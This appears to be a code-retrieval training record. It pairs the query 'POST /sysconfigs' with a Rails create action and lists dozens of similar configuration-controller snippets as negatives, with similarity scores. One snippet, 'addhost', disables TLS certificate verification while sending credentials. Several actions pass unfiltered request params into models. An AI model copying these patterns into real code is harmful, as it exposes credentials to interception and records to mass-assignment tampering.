"def new\n @current_config = ProjectConfig.create!(params[\"project\"].merge!(:user => @user))\n find_projects(params['project']['api_key'])\n flash.now[:notice] = \"The new configuration #{@current_config.name} has been added\"\n find_configurations\n end",
"def new\n @notify_config = NotifyConfig.new\n\n add_breadcrumb('Create Notification Configuration')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notify_config }\n end\n end",
"def new\n\tadd_breadcrumb \"Nueva configuración\", :new_configuracion_path\n @configuracion = Configuracion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @configuracion }\n end\n end",
"def new\n @config_file = ConfigFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @config_file }\n end\n end",
"def create\n @global_config = AppConfig.new(params[:global_config])\n\n respond_to do |format|\n if @global_config.save\n format.html { redirect_to @global_config, notice: 'Global config was successfully created.' }\n format.json { render json: @global_config, status: :created, location: @global_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @global_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @systemadmin = Systemadmin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @systemadmin }\n end\n end",
"def new\n @config_template = ConfigTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @config_template }\n format.xml { render :xml => @config_template }\n end\n end",
"def set_sysconfig\n @sysconfig = Sysconfig.find(params[:id])\n end",
"def new\n @cys_env = CysEnv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cys_env }\n end\n end",
"def new\n @app_config = AppConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @app_config }\n end\n end",
"def new\n @conf = Conf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conf }\n end\n end",
"def new\n @var_conf = VarConf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @var_conf }\n end\n end",
"def new\n @sm_backend_config = SmBackendConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sm_backend_config }\n end\n end",
"def new\n @wp_dyna_config = WpDynaConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wp_dyna_config }\n end\n end",
"def index\n @sys_configs = @system.sys_configs.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sys_configs.to_xml }\n end\n end",
"def index\n @system_configs = SystemConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @system_configs }\n end\n end",
"def create\n @system_configuration = SystemConfiguration.new(params[:system_configuration])\n\n respond_to do |format|\n if @system_configuration.save\n format.html { redirect_to @system_configuration, notice: 'System configuration was successfully created.' }\n format.json { render json: @system_configuration, status: :created, location: @system_configuration }\n else\n format.html { render action: \"new\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @nvs_subsystem = NvsSubsystem.new\n prepare_combos\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nvs_subsystem }\n end\n end",
"def new\n @system_module = SystemModule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_module }\n end\n end",
"def index\n @system_configs = SystemConfig.all\n end",
"def get_serv_config\n\t\taction = \"configuration\"\n\t\tresponse = call_api(action)\n\tend",
"def create\n @app_config = AppConfig.new(params[:app_config])\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to @app_config, notice: 'App config was successfully created.' }\n format.json { render json: @app_config, status: :created, location: @app_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #override new, if we already have a system \n if System.all.empty?\n @system = System.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system }\n end\n else\n respond_to do |format|\n flash[:notice] = \"System has already been created.\"\n format.html { redirect_to systems_path }\n format.json { render json: @systems.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def new\n\t\t@list_config = ListConfig.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @list_config }\n\t\t\tformat.json { render :json => @list_config }\n\t\t\tformat.yaml { render :text => @list_config.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @sysconfig.update(sysconfig_params)\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { render :show, status: :ok, location: @sysconfig }\n else\n format.html { render :edit }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @site_config = SiteConfig.new(site_config_params)\n\n respond_to do |format|\n if @site_config.save\n format.html { redirect_to @site_config, notice: 'Site config was successfully created.' }\n format.json { render json: @site_config, status: :created, location: @site_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @systemsetting = Systemsetting.new(systemsetting_params)\n\n respond_to do |format|\n if @systemsetting.save\n format.html { redirect_to root_path, notice: 'Se Creó la Configuración Correctamente.' }\n else\n format.html { render :new }\n format.json { render json: @systemsetting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app_config = AppConfig.new(app_config_params)\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to @app_config, notice: 'App config was successfully created.' }\n format.json { render :show, status: :created, location: @app_config }\n else\n format.html { render :new }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n if @sysconfig.update_attributes(params[:sysconfig])\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @system_configurations = SystemConfiguration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @system_configurations }\n end\n end",
"def new\n @kf_global_config = Kf::GlobalConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kf_global_config }\n end\n end",
"def new\n @my_configuration = MyConfiguration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_configuration }\n end\n end",
"def new\n @env_pref = EnvPref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @env_pref }\n end\n end",
"def create\n\t\t@siteconfig = Siteconfig.new(siteconfig_params)\n\n\t\trespond_to do |format|\n\t\t\tif @siteconfig.save\n\t\t\t\tformat.html { redirect_to @siteconfig, notice: 'Siteconfig was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @siteconfig }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @siteconfig.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def sysconfig_params\n params.require(:sysconfig).permit(:cfgname, :cfginteger, :cfgdate, :cfgtime, :cfgstring, :cfgtext, :lock_version, :txtfile, :imgfile)\n end",
"def new\n @config_xml = ConfigXml.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_xml }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def create\n @machine_config = MachineConfig.new(machine_config_params)\n\n respond_to do |format|\n if @machine_config.save\n format.html { redirect_to @machine_config, notice: 'Machine config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @machine_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @machine_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_config\n Config.new(\n # This field is expected in API responses\n # and should point to an individual resource with more data\n :uri_property_name => :href,\n # Total number of entries\n # Used to paginate lists\n :total_entries_property_name => :total_entries,\n # Name of array property\n # that contains cureent page's entries\n :entries_property_name => :entries\n )\n end",
"def list_resource\n find_resource!(:template, \"#{new_resource.conf_dir}/list.conf\")\n end",
"def create\n @kernel_config = current_user.kernel_configs.build(kernel_config_params)\n\n respond_to do |format|\n if @kernel_config.save\n format.html { redirect_to @kernel_config, notice: \"Kernel config was successfully created.\" }\n format.json { render :show, status: :created, location: @kernel_config }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @kernel_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n @mainconfig = Mainconfig.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @mainconfig }\r\n end\r\n end",
"def new\n @mailconfig = Mailconfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mailconfig }\n end\n end",
"def show\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def show\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def create\n @cfg = Cfg.new(cfg_params)\n\n respond_to do |format|\n if @cfg.save\n format.html { redirect_to @cfg, notice: 'Cfg was successfully created.' }\n format.json { render :show, status: :created, location: @cfg }\n else\n format.html { render :new }\n format.json { render json: @cfg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @configuration_set = ConfigurationSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @configuration_set }\n end\n end",
"def new\n @system_information = SystemInformation.new\n\n \n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_information }\n end\n end",
"def new\n @system_site_map = SystemSiteMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_site_map }\n end\n end",
"def new\n\tif signed_in?\n\t\t@current_client = current_user.username\n\t\tif current_user.username == 'admin'\n\t\t\t@clientconfig = Clientconfig.new\n\t\t\t@clients = Client.all.collect {|c| [c.name, c.id]}\n\t\telse\n\t\t\tredirect_to home_path\n\t\tend\n\telse\n\t\tredirect_to signin_path\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientconfig }\n end\n end",
"def new\n @config_file = ConfigFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_file }\n end\n end",
"def show\n @sys_config = SysConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @sys_config.to_xml }\n end\n end",
"def destroy\n @sysconfig = Sysconfig.find(params[:id])\n @sysconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to sysconfigs_url }\n format.json { head :no_content }\n end\n end",
"def new\n @deployment = Deployment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deployment }\n end\n end",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n cfg_params= dict_config_params\n cfg_params[:dict_sys_name]=cfg_params[:dict_sys_name].strip()\n @dict_config = DictConfig.new(cfg_params)\n\n respond_to do |format|\n ok = 1\n if @dict_config.find_by_sys_name() != nil\n @dict_config.errors.add(:dict_sys_name, :invalid, message: \"dict_sys_name already used!\")\n ok = 0\n end\n if ok == 1 and @dict_config.save\n format.html { redirect_to @dict_config, notice: 'Dict config was successfully created.' }\n format.json { render :show, status: :created, location: @dict_config }\n else\n format.html { render :new }\n format.json { render json: @dict_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @config = Config.new(config_params)\n\n respond_to do |format|\n if @config.save\n format.html { redirect_to @config, notice: \"Config was successfully created.\" }\n format.json { render :show, status: :created, location: @config }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n authenticate_user!\n @server = Server.new\n @rackspace_servers = Server.rackspace_servers\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server }\n end\n end",
"def new\n @system = System.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js # new.js.erb\n format.json { render json: @system }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def addhost(config)\n\n uri = URI.parse(\"#{config[\"addurl\"]}\")\n node = { \"EntityType\" => \"Orion.Nodes\", \"IPAddress\" => \"#{config[\"ipaddr\"]}\",\n \"Caption\"=> \"#{config[\"nodename\"]}\", \"DynamicIP\" => \"False\", \"EngineID\" => \"#{config[\"engineid\"]}\", \n \"Status\" => 1, \"UnManaged\" => \"False\", \"Allow64BitCounters\" => \"True\", \n \"SysObjectID\" => \"\", \"MachineType\" => \"\", \"VendorIcon\" => \"\", \n \"ObjectSubType\" => \"SNMP\", \"SNMPVersion\" => 2, \"Community\" => \"#{config[\"community\"]}\",\n }\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' =>'application/json'})\n request.body = node.to_json\n request.basic_auth(\"#{config[\"username\"]}\", \"#{config[\"password\"]}\")\n\n response = http.request(request)\nend",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def create\n @app_config = AppConfig.new(params[:app_config])\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to(@app_config, :notice => 'App config was successfully created.') }\n format.xml { render :xml => @app_config, :status => :created, :location => @app_config }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n 3.times { @system_option.system_option_values.build }\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system_option }\n end\n end",
"def create\n @portal_config = Portal::Config.new(portal_config_params)\n\n respond_to do |format|\n if @portal_config.save\n format.html { redirect_to @portal_config, notice: 'Config was successfully created.' }\n format.json { render :show, status: :created, location: @portal_config }\n else\n format.html { render :new }\n format.json { render json: @portal_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @repository_types = [ ['Git', 'git'], ['SVN', 'svn'] ]\n\n if (params[:manifest])\n @id = params[:id]\n @repository_type = params[:repository_type]\n @manifest = {}\n @manifest['rules'] = []\n params[:manifest].each do |r|\n r[1].each do |v|\n @manifest['rules'].push( {:name => r[0], :params => [v]} ) unless v.empty?\n end\n end\n\n #unless (params[:manifest][:runtime].all?(&:blank?) || params[:manifest][:framework].all?(&:blank?))\n puts \"----------------------------------------------------------------\"\n puts @manifest.to_json\n puts \"----------------------------------------------------------------\"\n @providers = @client.eval_manifest(@manifest)\n unless @providers.empty?\n @frameworks = @client.providers_frameworks(@providers)\n @services = @client.providers_service_vendors(@providers)\n @metrics = @client.providers_metrics(@providers)\n else\n @runtimes = @client.providers_runtimes(cached_providers)\n @frameworks = @client.providers_frameworks(cached_providers)\n @services = @client.providers_service_vendors(cached_providers)\n @metrics = @client.providers_metrics(cached_providers)\n end\n else\n @runtimes = @client.providers_runtimes(cached_providers)\n @frameworks = @client.providers_frameworks(cached_providers)\n @services = @client.providers_service_vendors(cached_providers)\n @metrics = @client.providers_metrics(cached_providers)\n end\n\n @rules = []\n @rules.push({id: 'service', name: 'Service'})\n @rules.push({id: 'monitoring', name: 'Monitoring'})\n\n respond_to do |format|\n format.html # new.html.erb\n format.js # new.js.erb\n #format.json { render json: @app }\n end\n end",
"def configuration\n _get(\"/system/configuration\") { |json| json }\n end",
"def new\n @config_value = ConfigValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_value }\n end\n end",
"def set_system_config\n @system_config = SystemConfig.find(params[:id])\n end",
"def create\n @configtable = Configtable.new(params[:configtable])\n\n respond_to do |format|\n if @configtable.save\n format.html { redirect_to @configtable, notice: 'Configtable was successfully created.' }\n format.json { render json: @configtable, status: :created, location: @configtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @configtable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @site_setup = SiteSetup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site_setup }\n end\n end",
"def new\n @console_pool = ConsolePool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @console_pool }\n end\n end",
"def new\n @chef_mapping = ChefMapping.new\n @source = []\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chef_mapping }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n # open data/default_ecosystems.json and parse\n # object returned is an array of hashes... Ex:\n # p @ecosystems[0] # will return a Hash\n # p @ecosystems[0][\"category\"] # => \"native\"\n #@ecosystems = JSON.parse( File.open( \"#{Rails.root}/public/data/default_ecosystems.json\" , \"r\" ).read )\n #@name_indexed_ecosystems = JSON.parse( File.open( \"#{Rails.root}/public/data/name_indexed_ecosystems.json\" , \"r\" ).read )\n #@ecosystem = @ecosystems[0]\n\n respond_to do |format|\n format.html\n end\n end",
"def get_config_infos\n configinfo =\n {\n :init_one_appointment_price => Settings.init_one_appointment_price,\n :income_call_number => Settings.income_call_number,\n :call_length => Settings.call_length,\n :tutor_online_time => Settings.tutor_online_time,\n :call_delay_time => Settings.call_delay_time,\n :tutor_single_price => Settings.tutor_single_price\n }\n render :json => configinfo.to_json(), :status => 200\n end",
"def create\n @api_config = ApiConfig.new(api_config_params)\n\n respond_to do |format|\n if @api_config.save\n format.html { redirect_to @api_config, notice: 'Api config was successfully created.' }\n format.json { render :show, status: :created, location: @api_config }\n else\n format.html { render :new }\n format.json { render json: @api_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @hydraulic_system = HydraulicSystem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hydraulic_system }\n end\n end",
"def new\n @system_parameter = SystemParameter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @system_parameter }\n end\n end",
"def new\n @registry = Registry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registry }\n end\n end",
"def new_for_creating_stack\n infra_id = params.require(:infrastructure_id)\n\n histories = CfTemplate.for_infra(infra_id)\n # TODO: 変数名変えたほうがいいんじゃ\n globals = CfTemplate.global\n\n render json: {\n histories: histories,\n globals: globals,\n } and return\n end",
"def update\n\n respond_to do |format|\n if @sys_config.update_attributes(params[:sys_config])\n flash[:notice] = 'SysConfig was successfully updated.'\n format.html { redirect_to user_system_sys_configs_path(@user, @system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def new\n @server_info = ServerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_info }\n end\n end",
"def config_options\n {\n 'datacenter' => new_resource.datacenter,\n 'template_path' => new_resource.template_path,\n 'power_on' => true,\n 'datastore' => new_resource.datastore,\n 'wait' => true,\n 'hostname' => new_resource.hostname,\n 'name' => new_resource.name,\n 'customization_spec' => {\n 'domain' => new_resource.domain,\n 'ipsettings' => {\n 'ip' => new_resource.ip || node['vcac_vm']['ip'],\n 'gateway' => new_resource.gateway,\n 'subnetMask' => new_resource.subnet_mask,\n },\n }\n }\nend",
"def new\n @physical_rack = PhysicalRack.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @physical_rack }\n end\n end",
"def create\n @jenkins_app_config = JenkinsAppConfig.new(jenkins_app_config_params)\n\n respond_to do |format|\n if @jenkins_app_config.save\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully created.' }\n format.json { render :show, status: :created, location: @jenkins_app_config }\n else\n format.html { render :new }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7235673",
"0.7187315",
"0.7100649",
"0.6810288",
"0.67672145",
"0.6504352",
"0.64832616",
"0.64733607",
"0.63627243",
"0.63515973",
"0.6278042",
"0.61392987",
"0.6070879",
"0.6056347",
"0.60154986",
"0.59992707",
"0.5959088",
"0.59567565",
"0.59228665",
"0.59183276",
"0.5915713",
"0.59129274",
"0.5910771",
"0.5874941",
"0.5855805",
"0.5841524",
"0.5825915",
"0.5796748",
"0.57944965",
"0.5784986",
"0.5765836",
"0.57339376",
"0.5706151",
"0.57024664",
"0.5653635",
"0.56498176",
"0.5638794",
"0.5638545",
"0.56286806",
"0.56277275",
"0.5618469",
"0.5569452",
"0.5539133",
"0.5534941",
"0.5534639",
"0.552106",
"0.54894674",
"0.5474368",
"0.5469688",
"0.5467551",
"0.54532933",
"0.5452118",
"0.5451696",
"0.544606",
"0.5444999",
"0.5441102",
"0.5436728",
"0.5422834",
"0.5422834",
"0.54010314",
"0.5400856",
"0.53863937",
"0.5381663",
"0.5369404",
"0.5363641",
"0.53579134",
"0.5355235",
"0.5353192",
"0.5352042",
"0.53472036",
"0.53404194",
"0.53323865",
"0.53309935",
"0.53109217",
"0.52972597",
"0.5293066",
"0.52872866",
"0.52831084",
"0.5275367",
"0.52682483",
"0.5260437",
"0.52546674",
"0.52299637",
"0.52229184",
"0.5209525",
"0.52071077",
"0.52033144",
"0.5202613",
"0.51932657",
"0.51642233",
"0.516021",
"0.51564807",
"0.51543",
"0.5148368",
"0.51368874",
"0.5124691",
"0.5119202",
"0.5119184",
"0.5113042",
"0.5112501"
] |
0.80483764
|
0
|
POST /sysconfigs POST /sysconfigs.json
|
def create
@sysconfig = Sysconfig.new(params[:sysconfig])
respond_to do |format|
if @sysconfig.save
format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }
format.json { render json: @sysconfig, status: :created, location: @sysconfig }
else
format.html { render action: "new" }
format.json { render json: @sysconfig.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @sysconfig = Sysconfig.new(sysconfig_params)\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render :show, status: :created, location: @sysconfig }\n else\n format.html { render :new }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sys_config = @system.sys_configs.build(params[:sys_config])\n respond_to do |format|\n if @sys_config.save\n flash[:notice] = 'SysConfig was successfully created.'\n format.html { redirect_to user_system_sys_config_url(@user, @system, @sys_config) }\n format.xml { head :created, :location => user_system_sys_config_url(@user, @system, @sys_config) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def sysconfig_params\n params.require(:sysconfig).permit(:cfgname, :cfginteger, :cfgdate, :cfgtime, :cfgstring, :cfgtext, :lock_version, :txtfile, :imgfile)\n end",
"def new\n @sysconfig = Sysconfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def create\n @system_config = SystemConfig.new(params[:system_config])\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, :notice => 'System config was successfully created.' }\n format.json { render :json => @system_config, :status => :created, :location => @system_config }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/configs/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def create\n @system_config = SystemConfig.new(system_config_params)\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, notice: 'System config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @system_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sysconfig\n @sysconfig = Sysconfig.find(params[:id])\n end",
"def system_config_params\n params.require(:system_config).permit(:name, :value, :description)\n end",
"def update\n respond_to do |format|\n if @sysconfig.update(sysconfig_params)\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { render :show, status: :ok, location: @sysconfig }\n else\n format.html { render :edit }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n if @sysconfig.update_attributes(params[:sysconfig])\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @sysconfigs = Sysconfig.order(created_at: :desc).page(params[:page])\n end",
"def update\n\n respond_to do |format|\n if @sys_config.update_attributes(params[:sys_config])\n flash[:notice] = 'SysConfig was successfully updated.'\n format.html { redirect_to user_system_sys_configs_path(@user, @system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def set_sys_config\n @sys_config = SysConfig.config\n end",
"def create\n @system_configuration = SystemConfiguration.new(params[:system_configuration])\n\n respond_to do |format|\n if @system_configuration.save\n format.html { redirect_to @system_configuration, notice: 'System configuration was successfully created.' }\n format.json { render json: @system_configuration, status: :created, location: @system_configuration }\n else\n format.html { render action: \"new\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sys_config_params\n params.require(:sys_config).permit(:positions_hm_range_1, :positions_hm_range_2, :positions_hm_range_3, :positions_hm_range_4,\n :speed_hm_diff_range_1, :speed_hm_diff_range_2, :speed_hm_diff_range_3, :speed_hm_diff_range_4,\n :speed_hm_query_range_1, :speed_hm_query_range_2, :speed_hm_query_range_3, :speed_hm_query_range_4,\n :bounding_box_gap, :search_radius)\n end",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def new\n @system_config = SystemConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @system_config }\n end\n end",
"def create\n @systemsetting = Systemsetting.new(systemsetting_params)\n\n respond_to do |format|\n if @systemsetting.save\n format.html { redirect_to root_path, notice: 'Se Creó la Configuración Correctamente.' }\n else\n format.html { render :new }\n format.json { render json: @systemsetting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kernel_config = current_user.kernel_configs.build(kernel_config_params)\n\n respond_to do |format|\n if @kernel_config.save\n format.html { redirect_to @kernel_config, notice: \"Kernel config was successfully created.\" }\n format.json { render :show, status: :created, location: @kernel_config }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @kernel_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @global_config = AppConfig.new(params[:global_config])\n\n respond_to do |format|\n if @global_config.save\n format.html { redirect_to @global_config, notice: 'Global config was successfully created.' }\n format.json { render json: @global_config, status: :created, location: @global_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @global_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app_config = AppConfig.new(app_config_params)\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to @app_config, notice: 'App config was successfully created.' }\n format.json { render :show, status: :created, location: @app_config }\n else\n format.html { render :new }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app_config = AppConfig.new(params[:app_config])\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to @app_config, notice: 'App config was successfully created.' }\n format.json { render json: @app_config, status: :created, location: @app_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def create\n @site_config = SiteConfig.new(site_config_params)\n\n respond_to do |format|\n if @site_config.save\n format.html { redirect_to @site_config, notice: 'Site config was successfully created.' }\n format.json { render json: @site_config, status: :created, location: @site_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @sysconfig = Sysconfig.find(params[:id])\n @sysconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to sysconfigs_url }\n format.json { head :no_content }\n end\n end",
"def index\n @sys_configs = @system.sys_configs.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sys_configs.to_xml }\n end\n end",
"def index\n @system_configs = SystemConfig.all\n end",
"def create\n\t\t@siteconfig = Siteconfig.new(siteconfig_params)\n\n\t\trespond_to do |format|\n\t\t\tif @siteconfig.save\n\t\t\t\tformat.html { redirect_to @siteconfig, notice: 'Siteconfig was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @siteconfig }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @siteconfig.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def set_system_config\n @system_config = SystemConfig.find(params[:id])\n end",
"def index\n @system_configs = SystemConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @system_configs }\n end\n end",
